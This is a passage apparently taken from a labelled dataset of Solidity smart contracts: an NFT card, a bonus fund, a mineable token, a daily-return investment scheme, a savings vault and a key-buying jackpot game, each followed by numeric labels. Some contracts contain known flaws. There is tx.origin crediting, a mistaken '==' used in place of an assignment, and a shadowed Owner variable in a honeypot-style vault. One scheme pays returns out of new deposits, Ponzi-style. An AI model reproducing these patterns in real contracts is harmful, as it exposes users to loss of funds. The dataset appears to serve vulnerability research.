return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SuperStarsCardInfo is Ownable {
using SafeMath for uint64;
using SafeMath for uint256;
struct CardInfo {
bytes32 cardHash;
string cardType;
string name;
uint64 totalIssue;
uint64 issueTime;
}
CardInfo[] cardInfos;
mapping(uint256 => uint256) cardInfosIndex;
string[] cardTypes;
mapping(bytes32 => bool) cardHashToExist;
mapping(uint256 => uint64) cardInfoIdToIssueCnt;
mapping(uint256 => mapping(uint64 => bool)) cardInfoIdToIssueNumToExist;
constructor() public
{
CardInfo memory _cardInfo = CardInfo({
cardHash: 0,
name: "",
cardType: "",
totalIssue: 0,
issueTime: uint64(now)
});
cardInfos.push(_cardInfo);
_addCardType("None");
_addCardType("Normal1");
_addCardType("Normal2");
_addCardType("Rare");
_addCardType("Epic");
}
function _addCardType(string _cardType) internal onlyOwner returns (uint256) {
require(bytes(_cardType).length > 0, "_cardType length must be greater than 0.");
return cardTypes.push(_cardType);
}
function addCardType(string _cardType) external onlyOwner returns (uint256) {
return _addCardType(_cardType);
}
function getCardTypeCount() external view returns (uint256) {
return cardTypes.length;
}
function getCardTypeByIndex(uint64 _index) external view returns (string) {
return cardTypes[_index];
}
function _addCardInfo(
uint256 _cardInfoId,
bytes32 _cardHash,
string _name,
uint64 _cardTypeIndex,
uint64 _totalIssue
)
internal
{
require(_cardTypeIndex < cardTypes.length, "CardTypeIndex can NOT exceed the cardTypes length.");
require(cardHashToExist[_cardHash] == false, "Only allow adding card info that have NOT already been added.");
CardInfo memory _cardInfo = CardInfo({
cardHash: _cardHash,
name: _name,
cardType: cardTypes[_cardTypeIndex],
totalIssue: _totalIssue,
issueTime: uint64(now)
});
cardHashToExist[_cardHash] = true;
cardInfosIndex[_cardInfoId] = cardInfos.length;
cardInfos.push(_cardInfo);
cardInfoIdToIssueCnt[_cardInfoId] = 0;
}
function addCardInfo(
uint256 _cardInfoId,
bytes32 _cardHash,
string _name,
uint64 _cardTypeIndex,
uint64 _totalIssue
)
external
onlyOwner
{
_addCardInfo(_cardInfoId, _cardHash, _name, _cardTypeIndex, _totalIssue);
}
function getCardInfo(
uint256 _cardInfoId
)
external
view
returns (
bytes32 cardHash,
string name,
string cardType,
uint64 totalIssue,
uint64 issueTime
) {
CardInfo memory cardInfo = cardInfos[cardInfosIndex[_cardInfoId]];
cardHash = cardInfo.cardHash;
name = cardInfo.name;
cardType = cardInfo.cardType;
totalIssue = cardInfo.totalIssue;
issueTime = cardInfo.issueTime;
}
function getInfosLength() external view returns (uint256) {
return cardInfos.length.sub(1);
}
}
library Strings {
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint i) internal pure returns (string) {
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
contract SuperStarsCard is SuperStarsCardInfo, ERC721Full {
using Strings for string;
struct Card {
uint256 cardInfoId;
uint64 issueNumber;
}
Card[] private cards;
mapping(uint256 => uint256) private cardsIndex;
constructor(
string name,
string symbol
)
ERC721Full(name, symbol)
public
{
require(bytes(name).length > 0 && bytes(symbol).length > 0, "Token name and symbol required.");
Card memory _card = Card({
cardInfoId: 0,
issueNumber: 0
});
cards.push(_card);
}
string private baseTokenURI;
function getBaseTokenURI() public view returns (string) {
return baseTokenURI;
}
function setBaseTokenURI(string _baseTokenURI) external onlyOwner {
baseTokenURI = _baseTokenURI;
}
function getIssueNumberExist(uint256 _cardInfoId, uint64 _issueNumber) public view returns (bool) {
return cardInfoIdToIssueNumToExist[_cardInfoId][_issueNumber];
}
function mintSuperStarsCard(
uint256 _cardId,
uint256 _cardInfoId,
uint64 _issueNumber,
address _receiver
)
external
onlyOwner
returns (bool)
{
CardInfo memory cardInfo = cardInfos[cardInfosIndex[_cardInfoId]];
require(cardInfoIdToIssueCnt[_cardInfoId] < cardInfo.totalIssue, "Can NOT exceed total issue limit.");
require(cardInfoIdToIssueNumToExist[_cardInfoId][_issueNumber] == false, "Issue number already exist.");
require(_receiver != address(0), "Invalid receiver address.");
cardInfoIdToIssueCnt[_cardInfoId] = cardInfoIdToIssueCnt[_cardInfoId] + 1;
cardInfoIdToIssueNumToExist[_cardInfoId][_issueNumber] = true;
require(bytes(baseTokenURI).length > 0, "You must enter the baseTokenURI first before issuing the card.");
Card memory _card = Card({
cardInfoId: _cardInfoId,
issueNumber: _issueNumber
});
cardsIndex[_cardId] = cards.length;
cards.push(_card);
_mint(_receiver, _cardId);
_setTokenURI(_cardId, Strings.strConcat(getBaseTokenURI(), Strings.uint2str(_cardId)));
return true;
}
function getCard(
uint256 _cardTokenId
)
external
view
returns (
string cardType,
string name,
bytes32 cardHash,
uint64 totalIssue,
uint64 issueNumber,
uint64 issueTime
) {
Card memory card = cards[cardsIndex[_cardTokenId]];
CardInfo memory cardInfo = cardInfos[cardInfosIndex[card.cardInfoId]];
cardType = cardInfo.cardType;
name = cardInfo.name;
cardHash = cardInfo.cardHash;
totalIssue = cardInfo.totalIssue;
issueNumber = card.issueNumber;
issueTime = cardInfo.issueTime;
}
} | 1 | 3,422 |
pragma solidity ^0.4.11;
contract FundariaBonusFund {
mapping(address=>uint) public ownedBonus;
mapping(address=>int) public investorsAccounts;
uint public finalTimestampOfBonusPeriod;
address registeringContractAddress;
address public fundariaTokenBuyAddress;
address creator;
event BonusWithdrawn(address indexed bonusOwner, uint bonusValue);
event AccountFilledWithBonus(address indexed accountAddress, uint bonusValue, int totalValue);
function FundariaBonusFund() {
creator = msg.sender;
}
modifier onlyCreator {
if(msg.sender == creator) _;
}
modifier onlyBonusOwner {
if(ownedBonus[msg.sender]>0) _;
}
function setFundariaTokenBuyAddress(address _fundariaTokenBuyAddress) onlyCreator {
fundariaTokenBuyAddress = _fundariaTokenBuyAddress;
}
function setRegisteringContractAddress(address _registeringContractAddress) onlyCreator {
registeringContractAddress = _registeringContractAddress;
}
function setFinalTimestampOfBonusPeriod(uint _finalTimestampOfBonusPeriod) onlyCreator {
if(finalTimestampOfBonusPeriod==0 || _finalTimestampOfBonusPeriod<finalTimestampOfBonusPeriod)
finalTimestampOfBonusPeriod = _finalTimestampOfBonusPeriod;
}
function withdrawBonus() onlyBonusOwner {
if(now>finalTimestampOfBonusPeriod) {
var bonusValue = ownedBonus[msg.sender];
ownedBonus[msg.sender] = 0;
BonusWithdrawn(msg.sender, bonusValue);
msg.sender.transfer(bonusValue);
}
}
function registerInvestorAccount(address accountAddress) {
if(creator==msg.sender || registeringContractAddress==msg.sender) {
investorsAccounts[accountAddress] = -1;
}
}
function fillInvestorAccountWithBonus(address accountAddress) onlyBonusOwner {
if(investorsAccounts[accountAddress]==-1 || investorsAccounts[accountAddress]>0) {
var bonusValue = ownedBonus[msg.sender];
ownedBonus[msg.sender] = 0;
if(investorsAccounts[accountAddress]==-1) investorsAccounts[accountAddress]==0;
investorsAccounts[accountAddress] += int(bonusValue);
AccountFilledWithBonus(accountAddress, bonusValue, investorsAccounts[accountAddress]);
accountAddress.transfer(bonusValue);
}
}
function setOwnedBonus() payable {
if(msg.sender == fundariaTokenBuyAddress)
ownedBonus[tx.origin] += msg.value;
}
} | 0 | 1,791 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract _0xAE86Token is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;
uint public _BLOCKS_PER_READJUSTMENT = 100;
uint public _MINIMUM_TARGET = 2**16;
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber;
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
function _0xAE86Token() public onlyOwner{
symbol = "0xAE86";
name = "HACHIROKU";
decimals = 8;
_totalSupply = 86000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 860000 * 10**uint(decimals);
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
balances[owner] = tokensMinted;
Transfer(address(0), owner, tokensMinted);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
if (digest != challenge_digest) revert();
if(uint256(digest) > miningTarget) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert();
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
assert(tokensMinted <= maxSupplyForEra);
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
function _startNewMiningEpoch() internal {
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1));
epochCount = epochCount.add(1);
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
challengeNumber = block.blockhash(block.number - 1);
}
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
uint epochsMined = _BLOCKS_PER_READJUSTMENT;
uint targetEthBlocksPerDiffPeriod = epochsMined * 6;
if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod )
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod );
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra));
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod );
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000);
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra));
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET)
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET)
{
miningTarget = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
function getMiningReward() public constant returns (uint) {
return (86 * 10**uint(decimals) ).div( 2**rewardEra ) ;
}
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,389 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract GreenEthereus2 {
using SafeMath for uint;
address public owner;
address marketing;
address admin;
mapping (address => uint) index;
mapping (address => mapping (uint => uint)) deposit;
mapping (address => mapping (uint => uint)) finish;
mapping (address => uint) checkpoint;
mapping (address => address) referrers;
mapping (address => uint) refBonus;
event LogInvestment(address _addr, uint _value);
event LogPayment(address _addr, uint _value);
event LogNewReferrer(address _referral, address _referrer);
event LogReferralInvestment(address _referral, uint _value);
constructor(address _marketing, address _admin) public {
owner = msg.sender;
marketing = _marketing;
admin = _admin;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function setRef(uint _value) internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
referrers[msg.sender] = _referrer;
refBonus[msg.sender] += _value * 3 / 100;
refBonus[_referrer] += _value / 10;
emit LogNewReferrer(msg.sender, _referrer);
emit LogReferralInvestment(msg.sender, msg.value);
}
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest();
}
}
function invest() public payable {
require(msg.value >= 50000000000000000);
admin.transfer(msg.value * 3 / 100);
if (deposit[msg.sender][0] > 0 || refBonus[msg.sender] > 0) {
withdraw();
if (deposit[msg.sender][0] > 0) {
index[msg.sender] += 1;
}
}
checkpoint[msg.sender] = block.timestamp;
finish[msg.sender][index[msg.sender]] = block.timestamp + (25 * 1 days);
deposit[msg.sender][index[msg.sender]] = msg.value;
if (referrers[msg.sender] != 0x0) {
marketing.transfer(msg.value * 7 / 50);
refBonus[referrers[msg.sender]] += msg.value / 10;
emit LogReferralInvestment(msg.sender, msg.value);
} else if (msg.data.length == 20) {
marketing.transfer(msg.value * 7 / 50);
setRef(msg.value);
} else {
marketing.transfer(msg.value * 6 / 25);
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() public {
uint _payout = refBonus[msg.sender];
refBonus[msg.sender] = 0;
for (uint i = 0; i <= index[msg.sender]; i++) {
if (checkpoint[msg.sender] < finish[msg.sender][i]) {
if (block.timestamp > finish[msg.sender][i]) {
_payout = _payout.add((deposit[msg.sender][i].mul(6).div(100)).mul(finish[msg.sender][i].sub(checkpoint[msg.sender])).div(1 days));
} else {
_payout = _payout.add((deposit[msg.sender][i].mul(6).div(100)).mul(block.timestamp.sub(checkpoint[msg.sender])).div(1 days));
}
}
}
if (_payout > 0) {
checkpoint[msg.sender] = block.timestamp;
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
}
function getInfo1(address _address) public view returns(uint Invested) {
uint _sum;
for (uint i = 0; i <= index[_address]; i++) {
if (block.timestamp < finish[_address][i]) {
_sum += deposit[_address][i];
}
}
Invested = _sum;
}
function getInfo2(address _address, uint _number) public view returns(uint Deposit_N) {
if (block.timestamp < finish[_address][_number - 1]) {
Deposit_N = deposit[_address][_number - 1];
} else {
Deposit_N = 0;
}
}
function getInfo3(address _address) public view returns(uint Dividends, uint Bonuses) {
uint _payout;
for (uint i = 0; i <= index[_address]; i++) {
if (checkpoint[_address] < finish[_address][i]) {
if (block.timestamp > finish[_address][i]) {
_payout = _payout.add((deposit[_address][i].mul(6).div(100)).mul(finish[_address][i].sub(checkpoint[_address])).div(1 days));
} else {
_payout = _payout.add((deposit[_address][i].mul(6).div(100)).mul(block.timestamp.sub(checkpoint[_address])).div(1 days));
}
}
}
Dividends = _payout;
Bonuses = refBonus[_address];
}
} | 0 | 1,940 |
pragma solidity ^0.4.17;
contract Ownable {
address public Owner;
function Ownable() { Owner = msg.sender; }
function isOwner() internal constant returns (bool) { return(Owner == msg.sender); }
}
contract Savings is Ownable {
address public Owner;
mapping (address => uint) public deposits;
uint public openDate;
event Initialized(address indexed Owner, uint OpenDate);
event Deposit(address indexed Depositor, uint Amount);
event Withdrawal(address indexed Withdrawer, uint Amount);
function init(uint open) payable {
Owner = msg.sender;
openDate = open;
Initialized(Owner, open);
}
function() payable { deposit(); }
function deposit() payable {
if (msg.value >= 1 ether) {
deposits[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
}
function withdraw(uint amount) payable {
if (isOwner() && now >= openDate) {
uint max = deposits[msg.sender];
if (amount <= max && max > 0) {
msg.sender.transfer(amount);
}
}
}
function kill() payable {
if (isOwner() && this.balance == 0) {
selfdestruct(msg.sender);
}
}
} | 0 | 702 |
pragma solidity^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Zero {
function requireNotZero(uint a) internal pure {
require(a != 0, "require not zero");
}
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) return 0;
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
}
library ToAddress {
function toAddr(uint source) internal pure returns(address) {
return address(source);
}
function toAddr(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
}
interface BankOfEth {
function receiveExternalProfits() external payable;
}
contract BankOfEthVaultBreaker {
using SafeMath for uint256;
using Percent for Percent.percent;
using Zero for *;
using ToAddress for *;
event KeysIssued(address indexed to, uint keys, uint timestamp);
event EthDistributed(uint amount, uint timestamp);
event ReturnsWithdrawn(address indexed by, uint amount, uint timestamp);
event JackpotWon(address by, uint amount, uint timestamp);
event AirdropWon(address by, uint amount, uint timestamp);
event RoundStarted(uint indexed ID, uint hardDeadline, uint timestamp);
address owner;
address devAddress;
address bankOfEthAddress = 0xd70c3f752Feb69Ecf8Eb31E48B20A97D979e8e5e;
BankOfEth localBankOfEth;
uint public constant STARTING_KEY_PRICE = 1 finney;
uint public constant HARD_DEADLINE_DURATION = 30 days;
uint public constant TIME_PER_KEY = 5 minutes;
uint public constant PRICE_INCREASE_PERIOD = 1 hours;
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
Percent.percent private m_currentRoundJackpotPercent = Percent.percent(15, 100);
Percent.percent private m_investorsPercent = Percent.percent(65, 100);
Percent.percent private m_devPercent = Percent.percent(10, 100);
Percent.percent private m_nextRoundSeedPercent = Percent.percent(5, 100);
Percent.percent private m_airdropPercent = Percent.percent(2, 100);
Percent.percent private m_bankOfEthProfitPercent = Percent.percent(3, 100);
Percent.percent private m_refPercent = Percent.percent(3, 100);
struct SafeBreaker {
uint lastCumulativeReturnsPoints;
uint keys;
}
struct GameRound {
uint totalInvested;
uint jackpot;
uint airdropPot;
uint totalKeys;
uint cumulativeReturnsPoints;
uint hardDeadline;
uint softDeadline;
uint price;
uint lastPriceIncreaseTime;
address lastInvestor;
bool finalized;
mapping (address => SafeBreaker) safeBreakers;
}
struct Vault {
uint totalReturns;
uint refReturns;
}
mapping (address => Vault) vaults;
uint public latestRoundID;
GameRound[] rounds;
uint256 public minInvestment = 1 finney;
uint256 public maxInvestment = 2000 ether;
uint256 public roundDuration = (24 hours);
uint public soft_deadline_duration = 1 days;
bool public gamePaused = false;
bool public limitedReferralsMode = true;
mapping(address => bool) private m_referrals;
uint public jackpotSeed;
uint public unclaimedReturns;
uint public constant MULTIPLIER = RAY;
uint public totalJackpotsWon;
uint public totalKeysSold;
uint public totalEarningsGenerated;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier notOnPause() {
require(gamePaused == false, "Game Paused");
_;
}
constructor() public {
owner = msg.sender;
devAddress = msg.sender;
localBankOfEth = BankOfEth(bankOfEthAddress);
rounds.length++;
GameRound storage rnd = rounds[0];
latestRoundID = 0;
rnd.lastInvestor = msg.sender;
rnd.price = STARTING_KEY_PRICE;
rnd.hardDeadline = now + HARD_DEADLINE_DURATION;
rnd.softDeadline = now + soft_deadline_duration;
jackpotSeed = 0;
rnd.jackpot = jackpotSeed;
}
function () public payable {
buyKeys(address(0x0));
}
function investorInfo(address investor, uint roundID) external view
returns(uint keys, uint totalReturns, uint referralReturns)
{
GameRound storage rnd = rounds[roundID];
keys = rnd.safeBreakers[investor].keys;
(totalReturns, referralReturns) = estimateReturns(investor, roundID);
}
function estimateReturns(address investor, uint roundID) public view
returns (uint totalReturns, uint refReturns)
{
GameRound storage rnd = rounds[roundID];
uint outstanding;
if(rounds.length > 1) {
if(hasReturns(investor, roundID - 1)) {
GameRound storage prevRnd = rounds[roundID - 1];
outstanding = _outstandingReturns(investor, prevRnd);
}
}
outstanding += _outstandingReturns(investor, rnd);
totalReturns = vaults[investor].totalReturns + outstanding;
refReturns = vaults[investor].refReturns;
}
function roundInfo(uint roundID) external view
returns(
address leader,
uint price,
uint jackpot,
uint airdrop,
uint keys,
uint totalInvested,
uint distributedReturns,
uint _hardDeadline,
uint _softDeadline,
bool finalized
)
{
GameRound storage rnd = rounds[roundID];
leader = rnd.lastInvestor;
price = rnd.price;
jackpot = rnd.jackpot;
airdrop = rnd.airdropPot;
keys = rnd.totalKeys;
totalInvested = rnd.totalInvested;
distributedReturns = m_currentRoundJackpotPercent.mul(rnd.totalInvested);
_hardDeadline = rnd.hardDeadline;
_softDeadline = rnd.softDeadline;
finalized = rnd.finalized;
}
function totalsInfo() external view
returns(
uint totalReturns,
uint totalKeys,
uint totalJackpots
) {
GameRound storage rnd = rounds[latestRoundID];
if(rnd.softDeadline > now) {
totalKeys = totalKeysSold + rnd.totalKeys;
totalReturns = totalEarningsGenerated + m_currentRoundJackpotPercent.mul(rnd.totalInvested);
} else {
totalKeys = totalKeysSold;
totalReturns = totalEarningsGenerated;
}
totalJackpots = totalJackpotsWon;
}
function reinvestReturns(uint value) public {
reinvestReturns(value, address(0x0));
}
function reinvestReturns(uint value, address ref) public {
GameRound storage rnd = rounds[latestRoundID];
_updateReturns(msg.sender, rnd);
require(vaults[msg.sender].totalReturns >= value, "Can't spend what you don't have");
vaults[msg.sender].totalReturns = vaults[msg.sender].totalReturns.sub(value);
vaults[msg.sender].refReturns = min(vaults[msg.sender].refReturns, vaults[msg.sender].totalReturns);
unclaimedReturns = unclaimedReturns.sub(value);
_purchase(rnd, value, ref);
}
function withdrawReturns() public {
GameRound storage rnd = rounds[latestRoundID];
if(rounds.length > 1) {
if(hasReturns(msg.sender, latestRoundID - 1)) {
GameRound storage prevRnd = rounds[latestRoundID - 1];
_updateReturns(msg.sender, prevRnd);
}
}
_updateReturns(msg.sender, rnd);
uint amount = vaults[msg.sender].totalReturns;
require(amount > 0, "Nothing to withdraw!");
unclaimedReturns = unclaimedReturns.sub(amount);
vaults[msg.sender].totalReturns = 0;
vaults[msg.sender].refReturns = 0;
rnd.safeBreakers[msg.sender].lastCumulativeReturnsPoints = rnd.cumulativeReturnsPoints;
msg.sender.transfer(amount);
emit ReturnsWithdrawn(msg.sender, amount, now);
}
function hasReturns(address investor, uint roundID) public view returns (bool) {
GameRound storage rnd = rounds[roundID];
return rnd.cumulativeReturnsPoints > rnd.safeBreakers[investor].lastCumulativeReturnsPoints;
}
function updateMyReturns(uint roundID) public {
GameRound storage rnd = rounds[roundID];
_updateReturns(msg.sender, rnd);
}
function finalizeLastRound() public {
GameRound storage rnd = rounds[latestRoundID];
_finalizeRound(rnd);
}
function finalizeAndRestart() public payable {
finalizeLastRound();
startNewRound(address(0x0));
}
function finalizeAndRestart(address _referer) public payable {
finalizeLastRound();
startNewRound(_referer);
}
event debugLog(uint _num, string _string);
function startNewRound(address _referer) public payable {
require(rounds[latestRoundID].finalized, "Previous round not finalized");
require(rounds[latestRoundID].softDeadline < now, "Previous round still running");
uint _rID = rounds.length++;
GameRound storage rnd = rounds[_rID];
latestRoundID = _rID;
rnd.lastInvestor = msg.sender;
rnd.price = STARTING_KEY_PRICE;
rnd.hardDeadline = now + HARD_DEADLINE_DURATION;
rnd.softDeadline = now + soft_deadline_duration;
rnd.jackpot = jackpotSeed;
jackpotSeed = 0;
_purchase(rnd, msg.value, _referer);
emit RoundStarted(_rID, rnd.hardDeadline, now);
}
function buyKeys(address _referer) public payable notOnPause {
require(msg.value >= minInvestment);
if(rounds.length > 0) {
GameRound storage rnd = rounds[latestRoundID];
_purchase(rnd, msg.value, _referer);
} else {
revert("Not yet started");
}
}
function _purchase(GameRound storage rnd, uint value, address referer) internal {
require(rnd.softDeadline >= now, "After deadline!");
require(value >= rnd.price/10, "Not enough Ether!");
rnd.totalInvested = rnd.totalInvested.add(value);
if(value >= rnd.price)
rnd.lastInvestor = msg.sender;
_airDrop(rnd, value);
_splitRevenue(rnd, value, referer);
_updateReturns(msg.sender, rnd);
uint newKeys = _issueKeys(rnd, msg.sender, value);
uint timeIncreases = newKeys/WAD;
uint newDeadline = rnd.softDeadline.add( timeIncreases.mul(TIME_PER_KEY));
rnd.softDeadline = min(newDeadline, now + soft_deadline_duration);
if(now > rnd.hardDeadline) {
if(now > rnd.lastPriceIncreaseTime + PRICE_INCREASE_PERIOD) {
rnd.price = rnd.price * 2;
rnd.lastPriceIncreaseTime = now;
}
}
}
